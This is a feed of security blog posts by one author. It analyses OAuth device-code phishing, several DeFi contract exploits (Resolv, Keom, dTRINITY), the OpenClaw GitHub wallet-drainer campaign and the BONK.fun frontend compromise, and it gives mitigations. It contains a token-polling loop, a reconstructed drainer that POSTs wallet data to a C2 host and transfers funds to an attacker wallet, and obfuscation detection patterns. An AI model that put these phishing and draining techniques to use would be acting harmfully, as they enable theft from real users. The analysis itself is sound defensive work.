DEV Community: Cryip

The Evolution of Token Hijacking: AI-Powered OAuth Device Code Phishing

Saravana kumar — Wed, 08 Apr 2026 10:34:32 +0000

A new generation of cyberattacks is moving beyond simple credential theft toward Session and Token Hijacking. By abusing the OAuth 2.0 Device Authorization Grant (RFC 8628), threat actors are bypassing traditional MFA and Phishing protections. This attack doesn't steal your password; it steals your identity's "keys" while you perform a legitimate login on a trusted Microsoft domain.

The Core Vulnerability: Device Code Flow Misuse

The Device Code Flow was designed for input-constrained devices (like Smart TVs or CLI tools) that cannot easily render a browser.
The Protocol Logic
The standard flow follows this path:$$Client \rightarrow Device\ Authorization\ Endpoint \rightarrow User\ Code \rightarrow User\ Auth \rightarrow Access\ Token$$
The Security Gap
The critical flaw lies in the decoupling of the authentication session. The user authenticates independently of the client requesting the token. Because there is no browser session binding the victim to the attacker’s machine, the attacker can initiate the flow and simply wait for the victim to "authorize" it.

Technical Attack Chain: Step-by-Step

AI-Enhanced Reconnaissance
Attackers use LLMs to automate reconnaissance. By hitting the GetCredentialType endpoint, they validate targets before ever sending an email.

Endpoint: https://login.microsoftonline.com/common/GetCredentialType
Goal: Confirm account existence and identify federated tenants to ensure a high Return on Investment (ROI).
Social Engineering & Evasion
Using AI, attackers generate hyper-personalized, role-based phishing content (e.g., HR onboarding docs for new hires). To bypass URL filters, they host their redirectors on legitimate serverless infrastructure:
Platforms: Vercel, Cloudflare Pages, AWS Lambda.
Tactic: Multi-hop redirects and domain cloaking to hide the malicious backend.
The "Just-in-Time" Device Code Injection
Unlike older attacks that used static codes, modern "Phishing-as-a-Service" (PhaaS) like EvilTokens generates codes dynamically.
Trigger: The moment a victim clicks the phishing link, the attacker's backend sends a POST request to /devicecode.
Payload:
JSON
{
"client_id": "ATTACKER_APP_ID",
"scope": "openid profile offline_access",
"verification_uri": "https://microsoft.com/devicelogin"
}

Delivery: The victim is shown a legitimate Microsoft login page. Since the domain is microsoft.com, traditional "look-alike domain" detectors fail.
The Polling Loop (Token Harvesting)
While the victim logs in, the attacker’s script runs a polling loop to catch the token the moment authentication is complete:
Python
while True:
response = requests.post(token_endpoint, data=polling_payload)
if "access_token" in response:
store_tokens(response.json())
break
time.sleep(3) # Rapid polling for near-instant hijacking

Post-Exploitation: Living off the Graph

Once the access_token and refresh_token are secured, the attacker has full API access via Microsoft Graph.
Persistence: Registering a new managed device to generate a Primary Refresh Token (PRT), allowing long-term access even if the user changes their password.
Exfiltration: Silently creating inbox rules to forward emails containing keywords like "Invoice" or "Payment" to an external attacker-controlled address.

Why Traditional Defenses Fail

The effectiveness of this attack lies in its ability to operate within the boundaries of legitimate authentication traffic. Rather than trying to steal a secret, the attacker tricks the user into performing a valid action on the attacker's behalf.

Multi-Factor Authentication (MFA)
The user completes the MFA challenge themselves on the official Microsoft portal. Because the authentication happens on a real, trusted session, the attacker receives a fully validated token without ever needing to see or bypass the MFA prompt.

Password Monitoring
This method does not actually steal credentials. Since the user enters their password directly into the genuine Microsoft site, "leaked password" databases and local password-sharing protections are never triggered. There is no "stolen password" to detect.

URL Filtering
Most web filters and email gateways are configured to trust microsoft.com implicitly. Because the final destination of the phishing link is a legitimate, high-reputation domain, the attack often bypasses automated security scanners that look for "look-alike" or malicious domains.

Engineering-Level Mitigations

Detection Engineering (KQL)
Security teams should monitor Azure AD Sign-in logs for anomalies in the deviceCode protocol.
Code snippet
SigninLogs
| where AuthenticationProtocol == "deviceCode"
| where AppId !in (Your_Trusted_App_IDs)
| summarize count() by UserPrincipalName, AppId, IPAddress

Strategic Hardening
Conditional Access (CA): Restrict Device Code Flow to specific, trusted IP ranges or compliant devices.
Continuous Access Evaluation (CAE): Enable CAE to revoke tokens in real-time if a risk is detected.
Disable the Flow: If your organization does not use CLI tools or smart devices that require this flow, disable it entirely via the Authentication Methods policy in Entra ID.

Conclusion

The shift from Credential Theft to Token Hijacking represents a significant leap in attacker maturity. As AI continues to automate the "human" element of phishing, developers must move toward a Zero Trust architecture where no OAuth flow is considered safe by default. Trust the protocol, but verify the context.

How a Missing Input Validation in requestSwap() Let an Attacker Drain $25M from Resolv Labs

Saravana kumar — Mon, 23 Mar 2026 09:13:29 +0000

Resolv Labs operates a decentralised stablecoin protocol where users deposit collateral to mint USR. The attacker exploited two weaknesses simultaneously. First, the minting logic never verified whether the amount of USR being requested was proportional to the collateral provided. By supplying a wildly inflated targetAmount parameter, they claimed 80 million USR in exchange for a $200K deposit, a 400x overmint. Second, and critically, the SERVICE_ROLE private key that authorises mint completions had been compromised. This meant the attacker did not need to wait for any off-chain oracle or protocol operator to approve the transaction. They called completeSwap() directly, minting unbacked tokens on demand with no external check standing in the way.

To avoid triggering immediate liquidity alarms, the attacker staked the freshly minted tokens into wstUSR, then systematically exited through stablecoin pairs (USDC, USDT) on Curve Finance. The proceeds were finally converted to native ETH. By the time the protocol team could react, the bulk of the stolen funds had already cleared. USR lost its dollar peg, crashing 80% in secondary liquidity pools.

The root cause: two compounding flaws

Flaw 1: No output validation in swap functions
The core bug lived in requestSwap and completeSwap. The protocol accepted a user-supplied targetAmount without ever checking whether it was proportional to amountIn. This is the equivalent of a bank accepting a withdrawal slip without verifying the account balance.
SolidityVulnerable
// No validation: user can request any output amount
function requestSwap(
address tokenIn,
uint256 amountIn,
uint256 targetAmount, // user-controlled, never verified
address tokenOut
) external {
pendingSwaps[msg.sender] = SwapRequest({
amountIn: amountIn,
targetAmount: targetAmount, // stored as-is
tokenOut: tokenOut
});
}

function completeSwap(address user) external onlyServiceRole {
SwapRequest memory req = pendingSwaps[user];
// mints whatever targetAmount says, no sanity check
_mint(user, req.targetAmount);
}
The attacker passed targetAmount = 80,000,000 USR with amountIn = 200,000 USDC. The contract complied without question.
Flaw 2: Single-key SERVICE_ROLE signer
The completeSwap function was gated behind a SERVICE_ROLE modifier, but that role was held by a single private key. Analysts believe this key was compromised, allowing the attacker to trigger completeSwap themselves without waiting for a legitimate off-chain oracle.
SolidityVulnerable
// A single compromised key unlocks unlimited minting
modifier onlyServiceRole() {
require(
hasRole(SERVICE_ROLE, msg.sender),
"Not authorized"
);
_;
}

// If the attacker controls SERVICE_ROLE, they call this directly
function completeSwap(address user) external onlyServiceRole {
_mint(user, pendingSwaps[user].targetAmount); // no limits
}

Attack flow, step by step

Execution timeline

1.Deposit 200,000 USDC as collateral
Legitimate entry, raises no flags
2.Call requestSwap with targetAmount = 80,000,000 USR
Inflated output param, never validated on-chain
3.Call completeSwap via compromised SERVICE_ROLE key
80M USR minted instantly across two transactions (~50M + ~30M)
4.Stake into wstUSR to bypass liquidity limits
Slippage and pool depth constraints avoided
5.Swap through USDC/USDT pools on Curve Finance
Value extracted before secondary markets could reprice
6.Convert all proceeds to native ETH and withdraw
Approximately 11,400 ETH (~$24M) cleared before the protocol freeze

How developers should fix this

Fix 1: Validate targetAmount against the exchange rate
Every minting function must verify that the requested output is mathematically consistent with the provided input. A maximum slippage tolerance of 1% is a reasonable starting point.
SolidityFixed
function requestSwap(
address tokenIn,
uint256 amountIn,
uint256 targetAmount,
address tokenOut
) external {
// Derive expected output from on-chain oracle or exchange rate
uint256 expectedOutput = getExpectedOutput(tokenIn, amountIn, tokenOut);

// Allow at most 1% above expected, reject anything larger
uint256 maxAllowed = expectedOutput * 101 / 100;
require(
    targetAmount <= maxAllowed,
    "targetAmount exceeds allowable output"
);

pendingSwaps[msg.sender] = SwapRequest({
    amountIn: amountIn,
    targetAmount: targetAmount,
    tokenOut: tokenOut,
    timestamp: block.timestamp
});

}
With this check, the attacker's 80M USR request would have been rejected immediately. The expected output for 200K USDC is roughly 200K USR, making 80M about 400x the allowed ceiling.
Fix 2: Replace the single-key signer with multi-signature
SolidityFixed
// Require 3 of 5 designated signers to authorise any mint
function completeSwap(
address user,
bytes[] calldata signatures
) external {
require(
_verifyMultiSig(signatures, _hashSwapRequest(user)),
"Requires 3 of 5 signers"
);
_mint(user, pendingSwaps[user].targetAmount);
}
Fix 3: Enforce per-transaction and daily mint caps
SolidityFixed
uint256 public constant MAX_MINT_PER_TX = 1_000_000 * 1e18;
uint256 public constant MAX_MINT_PER_DAY = 10_000_000 * 1e18;
mapping(uint256 => uint256) public dailyMinted;

function completeSwap(address user) external onlyServiceRole {
SwapRequest memory req = pendingSwaps[user];

require(req.targetAmount <= MAX_MINT_PER_TX, "Exceeds per-tx cap");

uint256 today = block.timestamp / 1 days;
require(
    dailyMinted[today] + req.targetAmount <= MAX_MINT_PER_DAY,
    "Daily mint cap reached"
);

dailyMinted[today] += req.targetAmount;
_mint(user, req.targetAmount);

}
Fix 4: Add an automatic circuit breaker
SolidityFixed
uint256 public constant ALERT_THRESHOLD = 5_000_000 * 1e18;

function completeSwap(address user)
external onlyServiceRole whenNotPaused
{
SwapRequest memory req = pendingSwaps[user];

if (req.targetAmount > ALERT_THRESHOLD) {
    _pause();
    emit SuspiciousActivityDetected(user, req.targetAmount);
    return; // abort, no mint occurs
}

_mint(user, req.targetAmount);

}

Summary of vulnerabilities and fixes

Vulnerability: targetAmount not validated
What went wrong: Any output amount accepted regardless of input
Correct approach: Validate against on-chain exchange rate with slippage tolerance
Vulnerability: Single SERVICE_ROLE key
What went wrong: One compromised key enabled unlimited minting
Correct approach: Require 3-of-5 multi-sig for all privileged mint operations
Vulnerability: No mint limits
What went wrong: Unlimited tokens mintable in one transaction
Correct approach: Enforce hard caps per transaction and per calendar day
Vulnerability: No circuit breaker
What went wrong: Protocol continued operating after exploit began
Correct approach: Auto-pause when any single mint exceeds an anomaly threshold Core lesson "Never trust user input. Verify it on-chain. An off-chain service validating parameters is not a substitute for on-chain guards. If the smart contract does not check it, the blockchain will not check it for you."

This incident follows a growing pattern of DeFi exploits targeting minting and swap mechanics. As collateral-backed stablecoin protocols proliferate, rigorous on-chain input validation and distributed key management are no longer optional. They are baseline requirements.

How the OpenClaw GitHub Phishing Attack Actually Worked - And How to Defend Against It

Saravana kumar — Thu, 19 Mar 2026 12:53:58 +0000

In early 2026, a phishing campaign targeted developers who had starred the OpenClaw repository on GitHub. No zero-days. No CVEs. Just precise social engineering layered on top of trusted infrastructure - and a JavaScript wallet drainer that wiped its own evidence.
This article covers exactly three things: how the attack unfolded, what the attacker did technically, and what you can do to protect yourself.

How the Attack Unfolded

Building a Target List from GitHub Stars
The attackers did not send a generic blast. They enumerated users who had publicly starred OpenClaw-related repositories on GitHub. This turned a mass phishing attempt into something that felt personal - a message about a project you had already shown interest in.
Attackers started by enumerating users who had publicly starred OpenClaw repositories, built a curated target list from that data, and then used it to send targeted @mentions in GitHub issue threads.
Abusing GitHub's Notification System
Fake GitHub accounts were created roughly one week before the campaign launched - just enough time to satisfy GitHub's account-age thresholds. The attackers then:

Opened issue threads inside repositories they controlled (they had no access to legitimate repos).
Mass-tagged real developers using @username mentions inside those issues.
GitHub's notification system automatically delivered a trusted email alert to every tagged user.

The message read:

"Appreciate for your contributions on GitHub. We analyzed profiles and chosen developers to get OpenClaw allocation."
It promised $5,000 worth of $CLAW tokens and linked to a claim page.
This worked because GitHub notification emails look identical whether they come from a project you contribute to or a random repo you have never seen. Developers are trained to act on them.
The Phishing Site - token-claw[.]xyz
The link, hidden behind a linkshare[.]google redirect, led to a near-perfect clone of openclaw.ai. Visually identical. One addition: a "Connect your wallet" button supporting MetaMask, WalletConnect, Coinbase Wallet, Trust Wallet, OKX, and Bybit.
openclaw.ai - real site, no wallet prompt
token-claw[.]xyz - clone, + "Connect your wallet" button
What the Attacker Did Technically
Everything malicious happened inside a single heavily obfuscated JavaScript file: eleven.js.
OX Security deobfuscated it. Here is what it did, broken into three stages.
Wallet Connection Hijack
When a user clicked "Connect your wallet," the page initiated a standard-looking Web3 connection flow. The wallet extension popup appeared as normal. But after the handshake completed, eleven.js continued executing silently.
// Conceptual reconstruction - actual code was obfuscated
// using eval chains, atob() decoding, and hex-encoded strings

async function connectWallet() {
const provider = await detectEthereumProvider();

// Looks legitimate - requests account access
const accounts = await provider.request({
method: 'eth_requestAccounts'
});

// Malicious step 1 - silently exfiltrate wallet data
await sendToC2({
wallet: accounts[0],
balance: await provider.request({
method: 'eth_getBalance',
params: [accounts[0], 'latest']
}),
chainId: await provider.request({ method: 'eth_chainId' }),
tokens: await getTokenBalances(accounts[0])
});

// Malicious step 2 - attempt unauthorized transfer
await provider.request({
method: 'eth_sendTransaction',
params: [{
from: accounts[0],
to: '0x6981E9EA7023a8407E4B08ad97f186A5CBDaFCf5', // attacker wallet
value: FULL_BALANCE
}]
});
}
The user sees a normal connection prompt. The wallet balance, token list, and chain ID are already gone before they decide whether to approve any transaction.
C2 Communication via watery-compost[.]today
Stolen data was Base64-encoded and POSTed to a separate command-and-control server. The malware tracked each victim's progress through three state labels:

PromptTx - Transaction dialog shown to user
Approved - User signed and submitted the transaction
Declined - User rejected the transaction prompt function sendToC2(data) { const payload = btoa(JSON.stringify({ wallet: data.wallet, balance: data.balance, network: data.chainId, tokens: data.tokens }));

fetch('https://watery-compost[.]today/collect', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: payload
});
}
This separation between the phishing domain and the C2 domain is intentional. Taking down token-claw[.]xyz does not immediately expose or kill the data collection infrastructure.
The nuke() Function (Anti-Forensics)
After the attack sequence completed, eleven.js called an internally named nuke() function. Its only job was to destroy evidence:
function nuke() {
// Clear all browser storage
localStorage.clear();
sessionStorage.clear();

// Remove injected script tags from the DOM
document.querySelectorAll('script[data-injected]')
.forEach(el => el.remove());

// Expire all session cookies
document.cookie.split(';').forEach(cookie => {
const key = cookie.split('=')[0].trim();
document.cookie =
${key}=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;
});
}
By the time a victim realized something was wrong, the browser held no trace of what had executed. Combined with the fake GitHub accounts being deleted within hours of launch, the attackers left minimal forensic surface.
How to Technically Defend Against This
Each defense maps directly to a specific technique the attacker used.
Verify the Domain Before Any Wallet Interaction
The attacker relied on visual similarity between token-claw.xyz and openclaw.ai. Automate this check in any Web3 frontend you build or use:
const TRUSTED_DOMAINS = ['openclaw.ai', 'www.openclaw.ai'];

function assertTrustedOrigin() {
if (!TRUSTED_DOMAINS.includes(window.location.hostname)) {
throw new Error(
Wallet connection blocked.\n +
Current domain : "${window.location.hostname}"\n +
Expected : ${TRUSTED_DOMAINS.join(' or ')}
);
}
}

// Call this before any provider.request() call
assertTrustedOrigin();
Never navigate to a wallet-connected site from a link in an email or notification. Type the URL directly or use a bookmark.
Detect Obfuscated Script Injection at Runtime

eleven.js used standard obfuscation patterns: eval(), atob(), String.fromCharCode, and hex-encoded strings. A MutationObserver watching for newly injected scripts can catch this at runtime:
const OBFUSCATION_SIGNATURES = [
/\beval\s*(/,
/\batob\s*(/,
/String.fromCharCode/,
/\x[0-9a-fA-F]{2}/,
/\u[0-9a-fA-F]{4}/,
];

const scriptGuard = new MutationObserver((mutations) => {
for (const mutation of mutations) {
for (const node of mutation.addedNodes) {
if (node.nodeName !== 'SCRIPT') continue;

  const content = node.textContent || '';
  const flagged = OBFUSCATION_SIGNATURES
    .some(pattern => pattern.test(content));

  if (flagged) {
    console.error(
      '[Security] Obfuscated script blocked:',
      node.src || '(inline)'
    );
    node.remove();
  }
}

}
});

scriptGuard.observe(document.documentElement, {
childList: true,
subtree: true
});
This is a tripwire, not a complete firewall. Treat it as one layer of a broader defense.
Validate GitHub Notification Senders Before Clicking
The attacker exploited the fact that GitHub @mention notifications look identical regardless of source. Before clicking any link from a GitHub mention involving tokens or rewards:
Check the age of the account that mentioned you
gh api /users/{MENTIONED_USERNAME} | jq '.created_at'

Check which repo the issue lives in
If it is a repo you have never contributed to - stop.
Hard rules:

Account created less than 30 days ago + mentions tokens = ignore and report.
Issue is in a repo you have no history with = ignore and report.
Message mentions airdrops, allocations, or rewards = ignore and report. Legitimate projects do not distribute token allocations through GitHub issue mentions from unfamiliar accounts. Isolate Your Wallet Surface The attacker's payload attempted to drain FULL_BALANCE from the connected wallet in a single transaction. Reducing what is available to drain limits the blast radius: Hardware wallet (Ledger / Trezor)
- Holds primary funds
- Never connected to any browser dApp
- Every transaction requires physical button confirmation
- Malicious JavaScript cannot silently sign on a hardware device

Hot wallet (MetaMask / browser extension)

Holds only what is needed for the current interaction
Used for dApps, testing, claim pages
Treat it as disposable If you connected your wallet to a suspicious site before reading this, revoke all approvals immediately at revoke.cash. Block the Known Infrastructure OX Security confirmed both of these domains as part of this campaign's infrastructure: # /etc/hosts - Linux or macOS 0.0.0.0 token-claw.xyz 0.0.0.0 watery-compost.today

Pi-hole or DNS sinkhole - add to blocklist
token-claw.xyz
watery-compost.today

iptables - corporate environments
iptables -A OUTPUT -d token-claw.xyz -j REJECT
iptables -A OUTPUT -d watery-compost.today -j REJECT

Summary

Target selection
Technique: GitHub public star enumeration
Defense: Nothing stops this - awareness only
Delivery
Technique: GitHub @mention notification abuse
Defense: Validate sender account age + repo
Lure site
Technique: Pixel-perfect domain clone
Defense: Domain verification before wallet connect
Payload
Technique: Obfuscated JS (eleven.js)
Defense: Runtime script injection detection
Exfiltration
Technique: Base64 POST to C2
Defense: DNS-level domain blocking
Evidence wipe
Technique: nuke() clears storage and DOM
Defense: Hardware wallet - JS cannot sign silently
No part of this attack was technically sophisticated in the traditional sense. It was a precise assembly of trusted infrastructure, social pressure, and a well-written wallet drainer. The attacker's advantage was that developers extend implicit trust to GitHub notifications. That trust is the actual vulnerability.

Keom Protocol Exploit : Deep Dive Analysis Report

Saravana kumar — Thu, 19 Mar 2026 09:24:10 +0000

Keom Finance is a decentralized lending and borrowing protocol deployed on Polygon zkEVM. It is a direct fork of Compound Finance, one of the most widely-deployed DeFi lending protocols. In the Compound/Keom model, users deposit underlying tokens (e.g., USDC, ETH) and receive cTokens (called KTokens in Keom) representing their share of the pool. These cTokens accrue interest and can later be redeemed for the underlying asset plus earned yield. The redeem mechanism involves two primary functions: redeemUnderlying(uint redeemAmount) where the user specifies how much underlying they want back and redeemFresh(), the internal function that performs the actual accounting and transfer. The vulnerability resided entirely within redeemFresh().

The Vulnerability Deep Dive

The purpose of redeemFresh() is to validate a redemption request and execute the transfer. The function receives two core values: redeemTokens (the number of cTokens to burn) and redeemAmount (the amount of underlying tokens to return). In a standard redemption, these two values are mathematically linked by the current exchange rate:

redeemAmount = redeemTokens * exchangeRate / 1e18
// i.e., if you burn X cTokens, you receive X * exchangeRate underlying tokens

The function must also ensure the user cannot redeem more cTokens than they actually hold, a basic balance check. The critical requirement is: if redeemTokens is modified, redeemAmount must be recalculated to match.

The Buggy Code (Lines 992–993)

The vulnerable sequence of operations in the actual deployed code was as follows:
/ STEP 1: Initialize from passed parameters
uint redeemTokens = vars.redeemTokens; // e.g., 999,999,999,999 (large)
uint redeemAmount = vars.redeemAmount; // e.g., full market cash = $94,000
// STEP 2 (line 992): Calculate new total supply
// BUG: uses redeemTokens BEFORE it has been capped
vars.totalSupplyNew = totalSupply - redeemTokens;
// STEP 3 (line 993): Cap redeemTokens to user's actual balance
if (redeemTokens > balanceOf(msg.sender)) {
redeemTokens = balanceOf(msg.sender); // e.g., capped to 1 wei
}
// STEP 4: Transfer — redeemAmount NEVER recalculated!
// Still equals $94,000 even though redeemTokens is now 1 wei
doTransferOut(msg.sender, redeemAmount); // TRANSFERS FULL MARKET CASH

Why This Is a Critical Bug

After line 993, the contract correctly knows the user only has a tiny amount of cTokens.
However, redeemAmount, the value that controls how much underlying is actually sent, was set in Step 1 and is never revisited.
The contract burned 1 wei of cTokens but transferred the full $94,000 market balance.
There is no additional check between the capping and the transfer to detect this inconsistency.

The Correct Implementation

The fix requires a single additional step: recalculate redeemAmount after capping redeemTokens. The corrected logic should be:

// CORRECT ORDER OF OPERATIONS
uint redeemTokens = vars.redeemTokens;
uint redeemAmount = vars.redeemAmount;
// STEP 1: Cap redeemTokens FIRST
if (redeemTokens > balanceOf(msg.sender)) {
redeemTokens = balanceOf(msg.sender);
}
// STEP 2: Recalculate redeemAmount based on capped redeemTokens
redeemAmount = redeemTokens * exchangeRateCurrent() / 1e18; // <-- MISSING LINE
// STEP 3: Now safe to calculate new totals
vars.totalSupplyNew = totalSupply - redeemTokens;
// STEP 4: Transfer the correctly bounded amount
doTransferOut(msg.sender, redeemAmount);

Compound Finance Comparison

In Compound Finance's original codebase, the redemption logic correctly sequences these operations.
The bug in Keom was introduced during the fork and customisation process — the ordering of operations was altered without maintaining the invariant that redeemTokens and redeemAmount must always be consistent with each other.
This is a textbook example of how a fork can introduce critical vulnerabilities that do not exist in the upstream protocol.

Attack Walkthrough

Step-by-Step Execution
The attack was elegant in its simplicity. No flash loans, no price manipulation, no multi-step reentrancy — just a single transaction exploiting the accounting flaw:
Attacker deployed a malicious contract at 0x5a2f...f16f with 0.002 ETH as initial capital.
The contract called KToken.mint() with a tiny amount of underlying tokens, receiving a minimal amount of KTokens (cTokens) in return.
The contract then called redeemUnderlying(fullMarketCash), passing in the entire cash balance of the lending market as the redemption amount.
Inside redeemFresh(), redeemAmount was set to the full market cash. redeemTokens was computed as the equivalent cTokens required (a huge number). totalSupplyNew was calculated using this huge uncapped value.
redeemTokens was then capped to the attacker's tiny cToken balance, but redeemAmount remained at the full market cash figure.
doTransferOut() transferred the full market cash balance to the attacker.
Total profit: approximately $94,000 in a single transaction.
Transaction Details

Transaction Hash: 0x4ccde7fc6b240397...603d9dfd8
Block Number: 30488585
Timestamp: 2026-03-17 18:54:33 UTC

Gas Information

Gas Limit: 5,000,000
Gas Price: 0.01 Gwei

Addresses Involved

From (Attacker EOA): 0xb343fe12f86f785a88918599b29b690c4a5da6d5
To (Attack Contract): 0x5a2f4151ea961d3dfc4ddf116ca95bfa5865f16f
Transaction Value
ETH Sent: 0.002 ETH (initial capital)
Additional Info
Nonce: 0 (first transaction from this address)

Financial Impact

Total Estimated Loss: ~$94,000 USD
The attacker drained the full cash balance of the targeted KToken market in a single transaction.
All liquidity providers in the affected market suffered a pro-rata loss on their deposits.
Given Polygon zkEVM's scheduled deprecation in 2026, recovery options for affected users are extremely limited.

Broader Implications

• Users who had deposited funds into the affected market lost their entire position with no mechanism for recovery.
• The protocol was paused following the incident, preventing further exploitation but also preventing normal withdrawals.
• Keom's reputation as a safe lending venue on zkEVM was severely damaged at a time when the L2 ecosystem was already contracting.
• The exploit reinforced concerns about the security of Compound Finance forks, which have been a recurring source of DeFi losses in 2024–2026.

Root Cause Classification

Vulnerability Details
Vulnerability Category: Business Logic Error
Classification

CWE Category: CWE-840 – Business Logic Errors
DeFi Category: Incorrect Variable Ordering / Stale State
Compound Classification: Fork Divergence Bug

Risk Assessment

Exploitability: Trivial (no special tools required)
Detectability: High (visible in a careful code review)
CVSS Estimate: 9.8 (Critical) Why Code Audits Miss These This class of bug is particularly dangerous because each individual line of code appears correct in isolation. The cap on line 993 looks like a proper safety check. The totalSupplyNew calculation on line 992 looks like standard accounting. The doTransferOut call looks like a normal transfer. The bug only becomes visible when you trace the data flow between variables, specifically, that redeemAmount is set before the cap and never updated afterward. Automated tools like Slither can detect some variable-ordering issues, but this specific pattern, where a downstream variable depends on an upstream value that is subsequently modified, requires understanding the semantic intent of the variables, not just their syntactic usage. This is precisely where formal verification tooling and manual security review provide value that automated scanners miss.

Recommendations

Add the missing redeemAmount recalculation immediately after any capping of redeemTokens.
Redeploy the KToken contracts with the corrected logic after a full re-audit.
Add an invariant check before doTransferOut: assert(redeemAmount == redeemTokens * exchangeRate / 1e18).
Process Improvements for Compound Forks
Maintain a diff log of every change made from the upstream Compound codebase. Each departure from the original should be explicitly justified and reviewed.
Add unit tests that specifically verify the relationship between redeemTokens and redeemAmount after every code path through redeemFresh().
Implement fuzz testing against redemption functions — a fuzzer would likely have caught this by generating inputs where redeemAmount far exceeds what redeemTokens can cover.
Engage a DeFi-specialized audit firm (e.g., Trail of Bits, Spearbit, Sherlock) with explicit experience auditing Compound forks before any mainnet deployment.
Consider formal verification of the core accounting functions using tools like Certora Prover or Halmos.

Protocol-Level Safeguards

Implement TVL-based circuit breakers: if a single transaction attempts to redeem more than X% of market liquidity, revert automatically.
Add monitoring and alerting for abnormally large single-transaction redemptions relative to the depositor's balance.
Consider timelocks on large withdrawals to allow community review of suspicious redemption activity.

dTRINITY Exploit Breakdown: $257K Lost Due to Share Accounting & Index Sync Bug

Saravana kumar — Wed, 18 Mar 2026 08:34:21 +0000

In March 2025, the dTRINITY DeFi protocol suffered a critical exploit on its Ethereum deployment, specifically targeting the dLEND-dUSD lending pool. The attacker successfully drained approximately $257,061 in USDC, nearly wiping out the pool’s liquidity, which stood at around ~$435K.
Unlike complex exploits involving oracle manipulation or reentrancy, this attack was rooted in a fundamental accounting flaw, a broken invariant between actual assets and internally calculated share value.
By combining a flash loan, phantom collateral creation, and a repeated deposit-withdraw loop, the attacker was able to transform a small deposit into millions of dollars worth of perceived collateral.
This incident serves as a critical lesson for DeFi developers:
If your accounting invariants are broken, your protocol is already compromised.

What Happened

Network: Ethereum Mainnet
Target: dLEND-dUSD Pool
Total Loss: ~$257,061 USDC
TVL at Time of Attack: ~$435K
Attack Type: Inflation Attack + Invariant Violation

High-Level Attack Flow

Flash loan acquired
Small deposit made
Protocol miscalculates collateral value
Large borrow executed
Repeated deposit/withdraw loops drain funds
Flash loan repaid
Profit extracted and laundered

Technical Deep Dive

Modern DeFi lending protocols rely on share-based accounting systems, similar to Aave or Compound.
Core Formula
The system assumes:
Total Assets = (Total Shares × Liquidity Index) / RAY

Where:
Total Shares = total supply of interest-bearing tokens
Liquidity Index = accumulated interest multiplier

Expected Invariant

uint256 realUSDC = underlying.balanceOf(address(this));
uint256 accounted = (totalSupply() * liquidityIndex) / 1e27;

require(realUSDC == accounted, "INVARIANT_BROKEN");

What Went Wrong?

The protocol failed to maintain temporal consistency:

liquidityIndex was not updated before deposit
Deposit used a stale index
Borrow used an inflated index
This created a mismatch between:
Real assets (actual USDC)
Accounted assets (calculated value)

Result

A deposit of just 772 USDC was interpreted as:
~$4.8 million worth of collateral
This is known as:
Phantom Collateral Creation

How the Attacker Exploited It

Step-by-Step Breakdown

Initiated a large flash loan
Deposited 772 USDC
Protocol credited ~$4.8M collateral (bug)
Borrowed ~257K dUSD
Executed 127 deposit/withdraw loops
Each loop extracted real USDC due to mismatch
Repaid flash loan within same transaction
Sent profit to mixer

Why the 127× Loop Worked

Each deposit-withdraw cycle:

Exploited rounding + index inconsistency
Extracted a small amount of real USDC Individually insignificant, but: Over 127 iterations - massive cumulative drain This is called a: Cumulative Extraction Attack

Hidden Risk: Rounding Error Amplification

Consider:
shares = assets * 1e27 / index;

If index is incorrect:
Rounding becomes biased
Attacker gains value per iteration
Over many loops, this becomes highly profitable

Attacker Mindset

Attackers don’t look for obvious bugs.
They ask:
Can I break assumptions?
Can I manipulate state timing?
Can I loop value extraction?
In this case:
A simple mismatch turned into a full exploit chain

Root Cause & Why Audit Missed It

Root Causes
Index not updated before state changes
No invariant enforcement
No loop protection
Share-price mismatch unchecked
Why Audit Failed
Edge-case existed only in specific deployment
Lack of stateful testing under repeated operations
No invariant fuzzing
Focus on logic, not economic behavior

How This Could Have Been Prevented

1. Enforce Invariants
function _checkInvariant() internal view {
require(realAssets == accountedAssets, "Invariant broken");
}

2. Update Index First
function deposit() external {
_updateLiquidityIndex();
// rest of logic
}

3. Use Virtual Assets
uint256 constant VIRTUAL_ASSETS = 1e12;

Prevents manipulation in low-liquidity scenarios.
4. Add Loop Protection
nonReentrant modifier
Limit operations per transaction
Detect repeated patterns
5. Invariant Fuzz Testing
function invariant_totalAssetsMatch() public {
assertEq(realAssets, accountedAssets);
}

Attack Simulation
for (uint i = 0; i < 150; i++) {
deposit();
withdraw();
}

6. Snapshot Index
borrowIndexSnapshot = liquidityIndex;

Avoid using dynamic values mid-transaction.

Better Design Practices

Use ERC-4626 vault standards
Separate accounting & interest logic
Avoid mixing state updates with calculations
Prefer snapshot-based systems

Production-Level Safeguards

Circuit Breaker
if (abs(real - accounted) > threshold) {
pause();
}
Monitoring
Track:

Abnormal loops
Index spikes
Large borrow after small deposit
Alerting
On-chain bots
Defender automation
Real-time invariant track
ing

Impact & Aftermath

Nearly entire pool drained
Ethereum deployment paused
Loss covered by treasury
Investigation ongoing Other pools remained safe

Similar Historical Exploits

This pattern has appeared before:

Cream Finance - share inflation
Hundred Finance - rounding exploit
Euler - accounting edge case Same class of bug, different execution

Key Takeaways

Small deposits can become massive risk
Invariants are critical security guarantees
Loops amplify tiny bugs into major exploits

Developer Checklist

Before deploying:

Is index updated before every operation?
Does real balance equal accounted balance?
Can loops extract value?
Are invariants enforced?
Are edge cases fuzz tested?

Conclusion

This exploit was not due to complex hacking techniques, it was a basic accounting failure.
In DeFi:
Mathematical correctness is security.
If your protocol allows phantom value creation,
attackers will turn it into real money.

How Developers Can Prevent Frontend Wallet Drainer Attacks: A Case Study of the BONK.fun Hack

Saravana kumar — Fri, 13 Mar 2026 10:40:12 +0000

The Solana ecosystem recently experienced a security incident involving the launchpad BONK.fun. Attackers compromised a team account and injected malicious code into the website that triggered a wallet drainer attack.
The breach tricked users into signing a fake Terms of Service prompt, which executed a malicious script that transferred tokens from connected wallets to attacker-controlled addresses.
This incident did not involve a smart contract exploit, but instead exposed a critical weakness that many Web3 platforms overlook:
Frontend infrastructure and developer account security can be just as critical as smart contract security.
This article breaks down the technical attack vector and explains how developers can prevent similar attacks using secure engineering practices.

What Happened in the BONK.fun Hack

Attackers gained access to an internal team account and used that access to modify the platform’s frontend.
Attack sequence:

Attacker compromised an internal team account
Malicious code was deployed to the website
A fake Terms of Service signature prompt appeared
Users clicked Approve / Sign
The malicious script executed
Wallet permissions were abused
Tokens were transferred to attacker-controlled wallets This was a frontend compromise, not a blockchain exploit. Incident Summary

Smart Contract → Not compromised

Solana Network → Secure

Frontend Website → Compromised

